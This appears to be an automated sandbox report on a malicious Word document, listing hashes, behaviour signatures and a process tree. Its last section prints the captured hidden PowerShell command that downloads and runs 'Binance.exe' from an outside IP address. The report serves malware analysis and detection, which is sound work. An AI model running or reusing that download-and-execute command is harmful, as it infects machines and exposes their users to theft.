Analysis
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max time kernel
24s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
23-07-2024 21:49
Behavioral task
behavioral1
Sample
bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc
Resource
win10v2004-20240704-en
General
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Target
bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc
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Size
34KB
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MD5
08f3a287e579dda542a412b93ff64d97
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SHA1
04d2033efd8239389eacf4cd63ac53ae08c59676
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SHA256
bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411
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SHA512
9b93d7dbbb56b5dc29bd3df7e5a8c59bbc9263a73e4f9406f030772cc143591e4ce07a29a35ca5f0d2dc88fd595357e572d233b98484628f52134d81ccd09111
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SSDEEP
192:SUWDlaZZEvAA6/6rNavrgYjk+4bWl26bXxZcetg76Yd5OX8LU50jfU6raT:SUWDhiSwvxjk+t2IZltRK5+F50jK
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2960 1712 powershell.exe 29 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2960 powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1712 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2960 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2960 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1712 WINWORD.EXE 1712 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1712 wrote to memory of 1696 1712 WINWORD.EXE 30 PID 1712 wrote to memory of 1696 1712 WINWORD.EXE 30 PID 1712 wrote to memory of 1696 1712 WINWORD.EXE 30 PID 1712 wrote to memory of 1696 1712 WINWORD.EXE 30 PID 1712 wrote to memory of 2960 1712 WINWORD.EXE 31 PID 1712 wrote to memory of 2960 1712 WINWORD.EXE 31 PID 1712 wrote to memory of 2960 1712 WINWORD.EXE 31 PID 1712 wrote to memory of 2960 1712 WINWORD.EXE 31
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1696
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('http://13.48.10.153/Binance.exe')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2960
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